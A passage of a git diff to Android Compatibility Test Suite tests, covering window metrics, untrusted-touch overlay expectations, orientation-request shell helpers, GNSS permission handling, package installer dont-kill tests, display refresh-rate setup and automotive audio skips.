SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase { @Test public void testTranslucentAdjacentTaskFragment() { // Create ActivityB on top of ActivityA - Activity activityB = startActivity(ActivityB.class); + Activity activityB = startActivityInWindowingModeFullScreen(ActivityB.class); waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed."); waitAndAssertActivityState(mActivityA, STATE_STOPPED, "Activity A is occluded by Activity B, so it must be stopped."); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java index 605e3363f64..fe7ded2ed3d 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java @@ -46,6 +46,7 @@ import android.view.WindowMetrics; import androidx.test.filters.FlakyTest; import org.junit.Test; +import java.util.function.Supplier; /** * Tests that verify the behavior of {@link WindowMetrics} APIs on {@link Activity activities}. @@ -202,7 +203,6 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase { // Resize the freeform activity. resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top, WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom); - mWmState.computeState(activity.getComponentName()); assertMetricsMatchesLayout(activity); @@ -210,7 +210,6 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase { resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left, RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right, RESIZED_WINDOW_BOUNDS.bottom); - mWmState.computeState(activity.getComponentName()); assertMetricsMatchesLayout(activity); @@ -218,7 +217,6 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase { resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom); - mWmState.computeState(activity.getComponentName()); assertMetricsMatchesLayout(activity); } @@ -260,19 +258,21 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase { final OnLayoutChangeListener listener = activity.mListener; listener.waitForLayout(); - final WindowMetrics currentMetrics = activity.getWindowManager().getCurrentWindowMetrics(); - final WindowMetrics maxMetrics = activity.getWindowManager().getMaximumWindowMetrics(); + final Supplier<WindowMetrics> currentMetrics = + () -> activity.getWindowManager().getCurrentWindowMetrics(); + final Supplier<WindowMetrics> maxMetrics = + () -> activity.getWindowManager().getMaximumWindowMetrics(); Condition.waitFor(new Condition<>("WindowMetrics must match layout metrics", - () -> currentMetrics.getBounds().equals(listener.getLayoutBounds())) + () -> currentMetrics.get().getBounds().equals(listener.getLayoutBounds())) .setRetryIntervalMs(500).setRetryLimit(10) .setOnFailure(unused -> fail("WindowMetrics must match layout metrics. Layout" + "bounds is" + listener.getLayoutBounds() + ", while current window" - + "metrics is " + currentMetrics.getBounds()))); + + "metrics is " + currentMetrics.get().getBounds()))); final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration .getWindowingMode() == WINDOWING_MODE_FREEFORM; - WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics, maxMetrics, + WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics.get(), maxMetrics.get(), listener.getLayoutBounds(), listener.getLayoutInsets(), isFreeForm); } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java index 3a4254fead9..a4c163ad631 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java @@ -344,12 +344,13 @@ public class WindowUntrustedTouchTest { /** SAWs */ @Test - public void testWhenOneSawWindowAboveThreshold_blocksTouch() throws Throwable { + public void testWhenOneSawWindowAboveThreshold_allowsTouch() throws Throwable { addSawOverlay(APP_A, WINDOW_1, .9f); mTouchHelper.tapOnViewCenter(mContainer); - assertTouchNotReceived(); + // Opacity will be automatically capped and touches will pass through. + assertTouchReceived(); } @Test @@ -415,14 +416,15 @@ public class WindowUntrustedTouchTest { } @Test - public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_blocksTouch() + public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_allowsTouch() throws Throwable { addSawOverlay(APP_A, WINDOW_1, .9f); addSawOverlay(APP_SELF, WINDOW_1, .7f); mTouchHelper.tapOnViewCenter(mContainer); - assertTouchNotReceived(); + // Opacity will be automatically capped and touches will pass through. + assertTouchReceived(); } @Test @@ -461,14 +463,15 @@ public class WindowUntrustedTouchTest { } @Test - public void testWhenThresholdIs0AndSawWindowAboveThreshold_blocksTouch() + public void testWhenThresholdIs0AndSawWindowAboveThreshold_allowsTouch() throws Throwable { setMaximumObscuringOpacityForTouch(0); addSawOverlay(APP_A, WINDOW_1, .1f); mTouchHelper.tapOnViewCenter(mContainer); - assertTouchNotReceived(); + // Opacity will be automatically capped and touches will pass through. + assertTouchReceived(); } @Test diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java index 1c2fdf92a17..9fc6860499b 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java @@ -2499,7 +2499,8 @@ public abstract class ActivityManagerTestBase { String amStartCmd = (mWindowingMode == -1 || mNewTask) ? getAmStartCmd(mLaunchingActivity) - : getAmStartCmd(mLaunchingActivity, mWindowingMode); + : getAmStartCmd(mLaunchingActivity, mDisplayId) + + " --windowingMode " + mWindowingMode; // Use launching activity to launch the target. commandBuilder.append(amStartCmd) .append(" -f 0x20000020"); @@ -2657,4 +2658,35 @@ public abstract class ActivityManagerTestBase { /** Activity that can handle all config changes. */ public static class ConfigChangeHandlingActivity extends CommandSession.BasicTestActivity { } + + public static class IgnoreOrientationRequestSession implements AutoCloseable { + private static final String WM_SET_IGNORE_ORIENTATION_REQUEST = + "wm set-ignore-orientation-request "; + private static final String WM_GET_IGNORE_ORIENTATION_REQUEST = + "wm get-ignore-orientation-request"; + private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN = + Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+"); + + final int mDisplayId; + final boolean mInitialIgnoreOrientationRequest; + + IgnoreOrientationRequestSession(int displayId, boolean enable) { + mDisplayId = displayId; + Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher( + executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId)); + assertTrue("get-ignore-orientation-request should match pattern", + matcher.find()); + mInitialIgnoreOrientationRequest = Boolean.parseBoolean(matcher.group(1)); + + executeShellCommand("wm set-ignore-orientation-request " + (enable ? "true" : "false") + + " -d " + mDisplayId); + } + + @Override + public void close() { + executeShellCommand( + WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialIgnoreOrientationRequest + " -d " + + mDisplayId); + } + } } diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java index 23089324180..55b2b624f57 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java @@ -1288,6 +1288,62 @@ public class WindowManagerState { return "Display #" + mId + ": name=" + mName + " mDisplayRect=" + mDisplayRect + " mAppRect=" + mAppRect + " mFlags=" + mFlags; } + + @Override + public boolean equals(Object o) { + if (o == this) { + return true; + } + if (o == null) { + return false; + } + if (!(o instanceof DisplayContent)) { + return false; + } + + DisplayContent dc = (DisplayContent) o; + + return (dc.mDisplayRect == null ? mDisplayRect == null + : dc.mDisplayRect.equals(mDisplayRect)) + && (dc.mAppRect == null ? mAppRect == null : dc.mAppRect.equals(mAppRect)) + && dc.mDpi == mDpi + && dc.mFlags == mFlags + && (dc.mName == null ? mName == null : dc.mName.equals(mName)) + && dc.mSurfaceSize == mSurfaceSize + && (dc.mAppTransitionState == null ? mAppTransitionState == null + : dc.mAppTransitionState.equals(mAppTransitionState)) + && dc.mRotation == mRotation + && dc.mFrozenToUserRotation == mFrozenToUserRotation + && dc.mUserRotation == mUserRotation + && dc.mFixedToUserRotationMode == mFixedToUserRotationMode + && dc.mLastOrientation == mLastOrientation; + } + + @Override + public int hashCode() { + int result = 0; + if (mDisplayRect != null) { + result = 31 * result + mDisplayRect.hashCode(); + } + if (mAppRect != null) { + result = 31 * result + mAppRect.hashCode(); + } + result = 31 * result + mDpi; + result = 31 * result + mFlags; + if (mName != null) { + result = 31 * result + mName.hashCode(); + } + result = 31 * result + mSurfaceSize; + if (mAppTransitionState != null) { + result = 31 * result + mAppTransitionState.hashCode(); + } + result = 31 * result + mRotation; + result = 31 * result + Boolean.hashCode(mFrozenToUserRotation); + result = 31 * result + mUserRotation; + result = 31 * result + mFixedToUserRotationMode; + result = 31 * result + mLastOrientation; + return result; + } } public static class Task extends ActivityContainer { diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml index dfead818518..23e26e46c42 100644 --- a/tests/inputmethod/AndroidTest.xml +++ b/tests/inputmethod/AndroidTest.xml @@ -18,6 +18,7 @@ <configuration description="Config for CTS InputMethod test cases"> <option name="test-suite-tag" value="cts" /> <option name="config-descriptor:metadata" key="component" value="inputmethod" /> + <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp index 5ee05054e40..a72460251a8 100644 --- a/tests/inputmethod/mockime/Android.bp +++ b/tests/inputmethod/mockime/Android.bp @@ -44,6 +44,7 @@ android_test_helper_app { // tag this module as a cts test artifact test_suites: [ "cts", + "gts", "general-tests", "mts", "sts", diff --git a/tests/location/location_gnss/AndroidManifest.xml b/tests/location/location_gnss/AndroidManifest.xml index f463c37aa94..49f136831ba 100644 --- a/tests/location/location_gnss/AndroidManifest.xml +++ b/tests/location/location_gnss/AndroidManifest.xml @@ -25,6 +25,7 @@ <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> + <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/> diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java index e23dd841928..c8720703a17 100644 --- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java +++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java @@ -1,38 +1,67 @@ package android.location.cts.gnss; + +import static android.Manifest.permission.ACCESS_COARSE_LOCATION; +import static android.Manifest.permission.ACCESS_FINE_LOCATION; + +import android.app.UiAutomation; +import android.content.Context; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; import android.location.GnssStatus; import android.location.cts.common.GnssTestCase; import android.location.cts.common.SoftAssert; import android.location.cts.common.TestLocationListener; import android.location.cts.common.TestLocationManager; import android.location.cts.common.TestMeasurementUtil; +import android.platform.test.annotations.AppModeFull; import android.util.Log; +import androidx.test.InstrumentationRegistry; + +import java.util.ArrayList; +import java.util.List; + public class GnssStatusTest extends GnssTestCase { private static final String TAG = "GnssStatusTest"; private static final int LOCATION_TO_COLLECT_COUNT = 1; private static final int STATUS_TO_COLLECT_COUNT = 3; + private UiAutomation mUiAutomation; @Override protected void setUp() throws Exception { super.setUp(); mTestLocationManager = new TestLocationManager(getContext()); + mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(); } /** * Tests that one can listen for {@link GnssStatus}. */ + @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions") public void testGnssStatusChanges() throws Exception { // Checks if GPS hardware feature is present, skips test (pass) if not if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) { return; } - // Register Gps Status Listener. - TestGnssStatusCallback testGnssStatusCallback = - new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT); - checkGnssChange(testGnssStatusCallback); + // Revoke location permissions from packages before running GnssStatusTest stops + // active location requests, allowing this test to receive all necessary Gnss callbacks. + List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION); + List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION); + + try { + // Register Gps Status Listener. + TestGnssStatusCallback testGnssStatusCallback = + new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT); + checkGnssChange(testGnssStatusCallback); + } finally { + // For each location package, re-grant the permission + grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages); + grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages); + } } private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback) @@ -126,4 +155,55 @@ public class GnssStatusTest extends GnssTestCase { Log.i(TAG, "usedInFix: " + status.usedInFix(i)); } } + + private List<String> getPackagesWithPermissions(String permission) { + Context context = InstrumentationRegistry.getTargetContext(); + PackageManager pm = context.getPackageManager(); + + ArrayList<String> packagesWithPermission = new ArrayList<>(); + List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0); + + for (ApplicationInfo applicationInfo : packages) { + String packageName = applicationInfo.packageName; + if (packageName.equals(context.getPackageName())) { + // Don't include this test package. + continue; + } + + if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) { + final int flags; + mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS"); + try { + flags = pm.getPermissionFlags(permission, packageName, + android.os.Process.myUserHandle()); + } finally { + mUiAutomation.dropShellPermissionIdentity(); + } + + final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED + | PackageManager.FLAG_PERMISSION_POLICY_FIXED + | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0; + if (!fixed) { + packagesWithPermission.add(packageName); + } + } + } + return packagesWithPermission; + } + + private List<String> revokePermissions(String permission) { + List<String> packages = getPackagesWithPermissions(permission); + for (String packageWithPermission : packages) { + Log.i(TAG, "Revoking permissions from: " + packageWithPermission); + mUiAutomation.revokeRuntimePermission(packageWithPermission, permission); + } + return packages; + } + + private void grantLocationPermissions(String permission, List<String> packages) { + for (String packageToGivePermission : packages) { + Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission); + mUiAutomation.grantRuntimePermission(packageToGivePermission, permission); + } + } } diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml index 918df5ab350..c5fce072bcd 100644 --- a/tests/musicrecognition/AndroidTest.xml +++ b/tests/musicrecognition/AndroidTest.xml @@ -22,6 +22,7 @@ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> + <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt index e48ba00a384..b1e5966491e 100644 --- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt +++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt @@ -596,7 +596,10 @@ class AppOpsTest { @Test fun ensurePhoneCallOpsRestricted() { - assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) + val pm = mContext.packageManager + assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) || + pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) || + pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE)) val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName, null, null) assertEquals(MODE_IGNORED, micReturn) diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java index 899721cb2f3..265da81ed4e 100644 --- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java +++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java @@ -205,13 +205,18 @@ public class MainInteractionSession extends VoiceInteractionSession { } private boolean compareScreenshot(Bitmap screenshot, int color) { - Point size = new Point(mDisplayWidth, mDisplayHeight); + // TODO(b/215668037): Uncomment when we find a reliable approach across different form + // factors. + // The current approach does not handle overridden screen sizes, and there's no clear way + // to handle that and multiple display areas at the same time. +// Point size = new Point(mDisplayWidth, mDisplayHeight); - if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) { - Log.i(TAG, "width or height didn't match: " + size + " vs " + screenshot.getWidth() - + "," + screenshot.getHeight()); - return false; - } +// if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) { +// Log.i(TAG, "width or height didn't match: " + size + " vs " + screenshot.getWidth() +// + "," + screenshot.getHeight()); +// return false; +// } + Point size = new Point(screenshot.getWidth(), screenshot.getHeight()); int[] pixels = new int[size.x * size.y]; screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y); diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING index ed0ac3444a4..7f588e48040 100644 --- a/tests/tests/content/TEST_MAPPING +++ b/tests/tests/content/TEST_MAPPING @@ -1,27 +1,29 @@ { "presubmit": [ { - "name": "CtsContentTestCases", + "name": "FrameworksCoreTests", "options": [ { - "exclude-annotation": "androidx.test.filters.FlakyTest" - }, - { - "exclude-annotation": "org.junit.Ignore" + "include-filter": "android.content.pm.PackageManagerTests" }, { - "include-filter": "android.content.pm.cts" + "exclude-annotation": "androidx.test.filters.Suppress" } ] - }, + } + ], + "presubmit-large": [ { - "name": "FrameworksCoreTests", + "name": "CtsContentTestCases", "options": [ { - "include-filter": "android.content.pm.PackageManagerTests" + "exclude-annotation": "androidx.test.filters.FlakyTest" }, { - "exclude-annotation": "androidx.test.filters.Suppress" + "exclude-annotation": "org.junit.Ignore" + }, + { + "include-filter": "android.content.pm.cts" } ] } diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java index 3d967d7c693..df40ea9374a 100644 --- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java +++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java @@ -28,12 +28,25 @@ import static org.junit.Assert.assertTrue; import android.app.UiAutomation; import android.content.ComponentName; import android.content.Context; +import android.content.IIntentReceiver; +import android.content.IIntentSender; +import android.content.Intent; +import android.content.IntentFilter; +import android.content.IntentSender; +import android.content.pm.ApkChecksum; +import android.content.pm.ApplicationInfo; import android.content.pm.DataLoaderParams; import android.content.pm.PackageInstaller; import android.content.pm.PackageInstaller.SessionParams; import android.content.pm.PackageManager; import android.content.pm.cts.util.AbandonAllPackageSessionsRule; +import android.os.Bundle; +import android.os.ConditionVariable; +import android.os.IBinder; import android.os.ParcelFileDescriptor; +import android.os.Process; +import android.os.RemoteException; +import android.os.UserHandle; import android.platform.test.annotations.AppModeFull; import androidx.test.InstrumentationRegistry; @@ -57,6 +70,10 @@ import java.io.OutputStream; import java.util.Arrays; import java.util.Optional; import java.util.Random; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicReference; +import java.util.function.BiConsumer; import java.util.stream.Collectors; @RunWith(Parameterized.class) @@ -154,6 +171,15 @@ public class PackageManagerShellCommandTest { } } + private static void writeFileToSession(PackageInstaller.Session session, String name, + String apk) throws IOException { + File file = new File(createApkPath(apk)); + try (OutputStream os = session.openWrite(name, 0, file.length()); + InputStream is = new FileInputStream(file)) { + writeFullStream(is, os, file.length()); + } + } + @Before public void onBefore() throws Exception { // Check if Incremental is allowed and revert to non-dataloader installation. @@ -482,6 +508,78 @@ public class PackageManagerShellCommandTest { } @Test + public void testDontKillWithSplit() throws Exception { + installPackage(TEST_HW5); + + getUiAutomation().adoptShellPermissionIdentity(); + try { + final PackageInstaller installer = getPackageInstaller(); + final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING); + params.setAppPackageName(TEST_APP_PACKAGE); + params.setDontKillApp(true); + + final int sessionId = installer.createSession(params); + PackageInstaller.Session session = installer.openSession(sessionId); + assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0); + + writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0); + + final CompletableFuture<Boolean> result = new CompletableFuture<>(); + session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() { + @Override + public void send(int code, Intent intent, String resolvedType, + IBinder whitelistToken, IIntentReceiver finishedReceiver, + String requiredPermission, Bundle options) throws RemoteException { + boolean dontKillApp = + (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0; + result.complete(dontKillApp); + } + })); + + // We are adding split. OK to have the flag. + assertTrue(result.get()); + } finally { + getUiAutomation().dropShellPermissionIdentity(); + } + } + + @Test + public void testDontKillRemovedWithBaseApk() throws Exception { + installPackage(TEST_HW5); + + getUiAutomation().adoptShellPermissionIdentity(); + try { + final PackageInstaller installer = getPackageInstaller(); + final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING); + params.setAppPackageName(TEST_APP_PACKAGE); + params.setDontKillApp(true); + + final int sessionId = installer.createSession(params); + PackageInstaller.Session session = installer.openSession(sessionId); + assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0); + + writeFileToSession(session, "hw7", TEST_HW7); + + final CompletableFuture<Boolean> result = new CompletableFuture<>(); + session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() { + @Override + public void send(int code, Intent intent, String resolvedType, + IBinder whitelistToken, IIntentReceiver finishedReceiver, + String requiredPermission, Bundle options) throws RemoteException { + boolean dontKillApp = + (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0; + result.complete(dontKillApp); + } + })); + + // We are updating base.apk. Flag to be removed. + assertFalse(result.get()); + } finally { + getUiAutomation().dropShellPermissionIdentity(); + } + } + + @Test public void testDataLoaderParamsApiV1() throws Exception { if (!mStreaming) { return; diff --git a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java index 1b41d09aa3b..379a732c5ac 100644 --- a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java +++ b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java @@ -20,16 +20,16 @@ import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentat import static org.junit.Assert.assertTrue; -import android.app.UiAutomation; +import android.Manifest; import android.content.Context; -import android.util.Log; +import android.hardware.display.DisplayManager; import android.view.Surface; -import android.view.SurfaceControl; import androidx.test.filters.MediumTest; import androidx.test.rule.ActivityTestRule; import androidx.test.runner.AndroidJUnit4; +import com.android.compatibility.common.util.AdoptShellPermissionsRule; import com.android.compatibility.common.util.DisplayUtil; import org.junit.After; @@ -46,38 +46,39 @@ public class SetFrameRateTest { @Rule public ActivityTestRule<FrameRateCtsActivity> mActivityRule = new ActivityTestRule<>(FrameRateCtsActivity.class); - private long mFrameRateFlexibilityToken; + + @Rule + public final AdoptShellPermissionsRule mShellPermissionsRule = + new AdoptShellPermissionsRule(getInstrumentation().getUiAutomation(), + Manifest.permission.HDMI_CEC, + Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS, + Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE); + + private DisplayManager mDisplayManager; + private int mInitialRefreshRateSwitchingType; @Before public void setUp() throws Exception { - // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame - // rate flexibility token. Switch to shell permission identity so we'll have the - // necessary permission when surface flinger checks. - UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); - uiAutomation.adoptShellPermissionIdentity(); - Context context = getInstrumentation().getTargetContext(); assertTrue("Physical display is expected.", DisplayUtil.isDisplayConnected(context)); - try { - // Take ownership of the frame rate flexibility token, if we were able - // to get one - we'll release it in tearDown(). - mFrameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken(); - } finally { - uiAutomation.dropShellPermissionIdentity(); - } + FrameRateCtsActivity activity = mActivityRule.getActivity(); - if (mFrameRateFlexibilityToken == 0) { - Log.e(TAG, "Failed to acquire frame rate flexibility token." - + " SetFrameRate tests may fail."); - } + // Prevent DisplayManager from limiting the allowed refresh rate range based on + // non-app policies (e.g. low battery, user settings, etc). + mDisplayManager = activity.getSystemService(DisplayManager.class); + mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true); + + mInitialRefreshRateSwitchingType = DisplayUtil.getRefreshRateSwitchingType(mDisplayManager); + mDisplayManager.setRefreshRateSwitchingType( + DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS); } @After public void tearDown() { - if (mFrameRateFlexibilityToken != 0) { - SurfaceControl.releaseFrameRateFlexibilityToken(mFrameRateFlexibilityToken); - mFrameRateFlexibilityToken = 0; + if (mDisplayManager != null) { + mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType); + mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false); } } diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java index e51f010eea7..f5c4ffd1792 100644 --- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java +++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java @@ -263,6 +263,10 @@ public class AudioManagerTest extends InstrumentationTestCase { @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS") public void testSpeakerphoneIntent() throws Exception { + // Speaker Phone Not supported in Automotive + if (isAutomotive()) { + return; + } final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver( AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED); final boolean initialSpeakerphoneState = mAudioManager.isSpeakerphoneOn(); @@ -450,6 +454,10 @@ public class AudioManagerTest extends InstrumentationTestCase { assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(), DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true"); + // Speaker Phone Not supported in Automotive + if (isAutomotive()) { + return; + } mAudioManager.setSpeakerphoneOn(true); assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(), DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false"); @@ -1942,6 +1950,12 @@ public class AudioManagerTest extends InstrumentationTestCase { assertTrue(errorString, result); } + private boolean isAutomotive() { + PackageManager pm = mContext.getPackageManager(); + return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE); + } + + // getParameters() & setParameters() are deprecated, so don't test // setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes() diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java index 96ae72a2793..cea55c7b749 100755 --- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java +++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java @@ -226,6 +226,7 @@ public class EncodeVirtualDisplayTest extends AndroidTestCase { MediaCodec decoder = null; OutputSurface outputSurface = null; VirtualDisplay virtualDisplay = null; + ColorSlideShow slideShow = null; try { // Encoded video resolution matches virtual display. @@ -265,13 +266,19 @@ public class EncodeVirtualDisplayTest extends AndroidTestCase { // Run the color slide show on a separate thread. mInputDone = false; - new ColorSlideShow(virtualDisplay.getDisplay()).start(); + slideShow = new ColorSlideShow(virtualDisplay.getDisplay()); + slideShow.start(); // Record everything we can and check the results. doTestEncodeVirtual(encoder, decoder, outputSurface); } finally { if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display"); + if (slideShow != null) { + try { + slideShow.join(); + } catch (InterruptedException ignore) {} + } if (virtualDisplay != null) { virtualDisplay.release(); } diff --git a/tests/tests/media/src/android/media/cts/SpatializerTest.java b/tests/tests/media/src/android/media/cts/SpatializerTest.java index 0ab5ff5727a..d38bad3e8ce 100644 --- a/tests/tests/media/src/android/media/cts/SpatializerTest.java +++ b/tests/tests/media/src/android/media/cts/SpatializerTest.java @@ -21,6 +21,8 @@ import static org.junit.Assert.assertThrows; import android.annotation.NonNull; import android.content.Context; import android.media.AudioAttributes; +import android.media.AudioDeviceAttributes; +import android.media.AudioDeviceInfo; import android.media.AudioFormat; import android.media.AudioManager; import android.media.Spatializer; @@ -29,6 +31,10 @@ import android.util.Log; import com.android.compatibility.common.util.CtsAndroidTestCase; import com.android.internal.annotations.GuardedBy; +import org.junit.Assert; + 